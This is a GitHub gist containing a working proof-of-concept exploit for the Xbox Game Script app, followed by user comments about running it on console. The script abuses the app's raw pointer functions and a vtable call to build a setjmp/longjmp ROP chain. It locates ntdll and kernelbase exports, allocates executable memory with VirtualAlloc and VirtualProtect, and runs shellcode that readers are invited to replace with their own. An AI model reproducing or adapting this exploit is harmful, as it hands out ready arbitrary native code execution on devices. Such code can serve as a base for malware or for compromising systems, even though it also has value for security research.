Skip to content

Instantly share code, notes, and snippets.

@carrot-c4k3
Last active July 17, 2024 01:57
Show Gist options
  • Save carrot-c4k3/10fdb4f3d11ca568f5452bbaefdc20dd to your computer and use it in GitHub Desktop.
Save carrot-c4k3/10fdb4f3d11ca568f5452bbaefdc20dd to your computer and use it in GitHub Desktop.
Game Script native code execution PoC
// native code exec PoC via Game Script - @carrot_c4k3 (exploits.forsale)
//
// sample shellcode: mov rax, 0x1337; ret;
// drop your own shellcode inplace here
let shellcode = [0x48,0xC7,0xC0,0x37,0x13,0x00,0x00,0xC3]
// hex printing helper functions
let i2c_map = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F']
let c2i_map = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'A': 0xA, 'B': 0xB, 'C': 0xC, 'D': 0xD, 'E': 0xE, 'F': 0xF}
fn hex_to_num(s) {
var str_len = len(s)
var res = 0
for (var i = 0; i < str_len; i++)
{
res = res << 4
res = res + c2i_map[s[i]]
}
return res
}
fn num_to_hex(num, byte_count) {
if (byte_count > 8) {
byte_count = 8
}
var res = ""
for (var i = 0; i < byte_count * 2; i++) {
var idx = (num >> (4 * i)) & 15
res = i2c_map[idx] + res
}
return res
}
fn num_to_hex8(num) {
return num_to_hex(num, 1)
}
fn num_to_hex16(num) {
return num_to_hex(num, 2)
}
fn num_to_hex32(num) {
return num_to_hex(num, 4)
}
fn num_to_hex64(num) {
return num_to_hex(num, 8)
}
fn hex_dump(addr, count) {
for (var i = 0; i < count; i++) {
if (i > 0 && (i % 16) == 0) {
printConsole("\n")
}
var cur_byte = pointerGetUnsignedInteger8Bit(0, addr + i)
printConsole(num_to_hex8(cur_byte) + " ")
}
}
fn array_fill(arr) {
var arr_len = len(arr)
for (var i = 0; i < arr_len; i++) {
arr[i] = 0x41
}
}
fn round_down(val, bound) {
return floor(val - (val % bound))
}
fn array_compare(a1, a2) {
if (len(a1) != len(a2)) {
return false
}
var arr_len = len(a1)
for (var i = 0; i < arr_len; i++) {
if (a1[i] != a2[i]) {
return false
}
}
return true
}
// shorthand helpers for memory access
fn write8(addr, val) {
pointerSetUnsignedInteger8Bit(0, addr, val)
}
fn read8(addr) {
return pointerGetUnsignedInteger8Bit(0, addr)
}
fn write16(addr, val) {
pointerSetAtOffsetUnsignedInteger16Bit(0, addr, val)
}
fn read16(addr) {
return pointerGetAtOffsetUnsignedInteger16Bit(0, addr)
}
fn write32(addr, val) {
pointerSetAtOffsetUnsignedInteger(0, addr, val)
}
fn read32(addr) {
return pointerGetAtOffsetUnsignedInteger(0, addr)
}
fn write64(addr, val) {
pointerSetAtOffsetUnsignedInteger64Bit(0, addr, val)
}
fn read64(addr) {
return pointerGetAtOffsetUnsignedInteger64Bit(0, addr)
}
fn read_buf(addr, buf) {
var buf_len = len(buf)
for (var i = 0; i < buf_len; i++) {
buf[i] = read8(addr + i)
}
}
fn write_buf(addr, buf) {
var buf_len = len(buf)
for (var i = 0; i < buf_len; i++) {
write8(addr+i, buf[i])
}
}
fn find_bytes(addr, max_len, pattern, buf) {
for (var i = 0; i < max_len; i++) {
read_buf(addr + i, buf)
if (array_compare(pattern, buf)) {
return addr + i
}
}
return 0
}
fn find64(addr, max_len, v) {
var offset = 0
while (1) {
var temp_val = read64(addr+offset)
if (temp_val == v) {
return addr+offset
}
offset += 8
}
return 0
}
// shorthand funcs
fn ptr_to_num(p) {
return numberFromRaw64BitUnsignedInteger(p)
}
var gs_base = 0
var ntdll_base = 0
var kernelbase_base = 0
var longjmp_ptr = 0
var setjmp_ptr = 0
var gadget_ptr = 0
fn call_native(func_ptr, rcx, rdx, r8, r9) {
// allocate our objects
var obj_ptr = globalArrayNew8Bit("call", 0x100)
var objp = ptr_to_num(obj_ptr)
var vt_ptr = globalArrayNew8Bit("vtable", 0x18)
var vtp = ptr_to_num(vt_ptr)
var stack_size = 0x4000
var stack_ptr = globalArrayNew8Bit("stack", stack_size)
var stackp = ptr_to_num(stack_ptr)
var jmpctx_ptr = globalArrayNew8Bit("jctx", 0x100)
var jcp = ptr_to_num(jmpctx_ptr)
// set up vtable pointers
write64(vtp+8, setjmp_ptr)
write64(objp, vtp)
// trigger vtable call
slBus_destroy(obj_ptr)
memcpy(jmpctx_ptr, 0, obj_ptr, 0, 0x100)
// set up our rop chain
write64(stackp+stack_size-0xA0, rdx)
write64(stackp+stack_size-0x98, rcx)
write64(stackp+stack_size-0x90, r8)
write64(stackp+stack_size-0x88, r9)
write64(stackp+stack_size-0x80, 0)
write64(stackp+stack_size-0x78, 0)
write64(stackp+stack_size-0x70, func_ptr)
write64(stackp+stack_size-0x68, gs_base+0x1F13A)
write64(stackp+stack_size-0x38, 0x15151515)
write64(stackp+stack_size-0x30, gs_base+0x109C4A)
write64(stackp+stack_size-0x28, jcp)
write64(stackp+stack_size-0x20, longjmp_ptr);
// set up the vtable and setjmp context
write64(vtp+8, longjmp_ptr)
write64(objp, vtp)
write64(objp+0x10, stackp+stack_size-0xA0)
write64(objp+0x50, gadget_ptr)
// trigger vtable call
slBus_destroy(obj_ptr)
var ret_val = read64(stackp+stack_size-0x68)
// clean up our objects
globalArrayDelete("call")
globalArrayDelete("vtable")
globalArrayDelete("stack")
globalArrayDelete("jctx")
return ret_val
}
fn find_module_base(addr) {
var search_addr = round_down(addr, 0x10000)
while (1) {
var magic_static = [0x4D, 0x5A]
var magic_read = [0, 0]
read_buf(search_addr, magic_read)
if (array_compare(magic_static, magic_read)) {
return search_addr
}
search_addr -= 0x10000
}
return 0
}
fn get_dll_exports(base_addr) {
var res = {}
var magic_static = [0x4D, 0x5A]
var magic_read = [0, 0]
read_buf(base_addr, magic_read)
if (!array_compare(magic_static, magic_read)) {
printConsole("Magic is invalid!\n")
return res
}
var e_lfanew = read32(base_addr+0x3c)
var exports_addr = base_addr + read32(base_addr+e_lfanew+0x70+0x18)
var num_funcs = read32(exports_addr+0x14)
var num_names = read32(exports_addr+0x18)
var funcs_addr = base_addr + read32(exports_addr+0x1c)
var names_addr = base_addr + read32(exports_addr+0x20)
var ords_addr = base_addr + read32(exports_addr+0x24)
for (var i = 0; i < num_names; i++) {
var name_addr = base_addr + read32(names_addr + (4 * i))
var name_str = pointerGetSubstring(0, name_addr, 0x20)
var ordinal = read16(ords_addr + (2 * i))
var func_addr = base_addr + read32(funcs_addr + (4 * ordinal))
res[name_str] = func_addr
}
return res
}
var VirtualAlloc_ptr = 0
var VirtualProtect_ptr = 0
fn map_code(code) {
var code_addr = call_native(VirtualAlloc_ptr, 0, 0x100000, 0x3000, 4)
write_buf(code_addr, code)
var oldp_ptr = globalArrayNew8Bit("oldp", 0x100)
var oldpp = ptr_to_num(oldp_ptr)
call_native(VirtualProtect_ptr, code_addr, 0x100000, 0x20, oldpp)
return code_addr
}
// create and dump our object to the terminal
var slbus_ptr = slBus_create()
var slp = numberFromRaw64BitUnsignedInteger(slbus_ptr)
// get the base of the GameScript module via the vtable
gs_base = read64(slp) - 0x16faf8
// find base addresses of ntdll and kernelbase
ntdll_base = find_module_base(read64(gs_base + 0x125398))
kernelbase_base = find_module_base(read64(gs_base + 0x1253A0))
// find longjmp and setjmp for call_native
var setjmp_bytes = [0x48,0x89,0x11,0x48,0x89,0x59,0x08,0x48,0x89,0x69,0x18,0x48,0x89,0x71,0x20,0x48]
var longjmp_bytes = [0x48,0x8B,0xC2,0x48,0x8B,0x59,0x08,0x48,0x8B,0x71,0x20,0x48,0x8B,0x79,0x28,0x4C]
var tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
setjmp_ptr = find_bytes(ntdll_base, 0x217000, setjmp_bytes, tmp_bytes)
longjmp_ptr = find_bytes(ntdll_base, 0x217000, longjmp_bytes, tmp_bytes)
// find one of our gadgets in ntdll
var gadget_bytes = [0x5A,0x59,0x41,0x58,0x41,0x59,0x41,0x5A,0x41,0x5B,0xC3]
tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0]
gadget_ptr = find_bytes(ntdll_base, 0x217000, gadget_bytes, tmp_bytes)
// get the ntdll & kernel base exports and find VirtualAlloc/Protect
var kernelbase_exports = get_dll_exports(kernelbase_base)
var ntdll_exports = get_dll_exports(ntdll_base)
VirtualAlloc_ptr = kernelbase_exports["VirtualAlloc"]
VirtualProtect_ptr = kernelbase_exports["VirtualProtect"]
// map our shellcode
var shellcode_addr = map_code(shellcode)
var shellcode_ret = call_native(shellcode_addr, 0, 0, 0, 0)
printConsole("Shellcode return value: " + num_to_hex64(shellcode_ret) + "\n")
@kernaltrap8
Copy link

Hi guys, can anyone help me pls. I get this error message when I try snd run the code via pico. Script loads up on the game script app, but when I try to test the script i get this error message. See picture 1000008106

you dont need to use a Pico to get the script into the app. if you set your xbox's DNS to 127.0.0.1, you can run a http server with python on your PC and serve the script that way, copy it from msedge and then paste it into the app.

@imran1980
Copy link

I would still like to know how to fix this error for my pico. I'm on the correct vulnerable firmware. I'm confused to what I'm doing wrong. The script loads into the app. Pressed run code , nothing happens but when I select error message screen I get that error message.

@Cartrigger
Copy link

I would still like to know how to fix this error for my pico. I'm on the correct vulnerable firmware. I'm confused to what I'm doing wrong. The script loads into the app. Pressed run code , nothing happens but when I select error message screen I get that error message.

Remove the uncommented code or add comments at the very top

@imran1980
Copy link

I got it working. I had a feeling i
1000008147
t was the keyboard dictation. Mine was UK keyboard layout so I changed it to US and it works.

@kgabis
Copy link

kgabis commented Jun 22, 2024

Also, pinging @kgabis since Game Script on Xbox used his Ape scripting language. 😃 (sorry, @kgabis, this code was not my intention 2 years ago! 😄)

I did not expect ape to be used in such a fun way, for a moment I was worried that's a bug in my code 😂

@Sergb1970
Copy link

Tell me how to clear the window of Game Script from the previous script.
I can't insert a new one.

@kernaltrap8
Copy link

Tell me how to clear the window of Game Script from the previous script. I can't insert a new one.

click on the text window until the virtual keyboard pops up, then insert a usb keyboard and hit CTRL+A and backspace

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment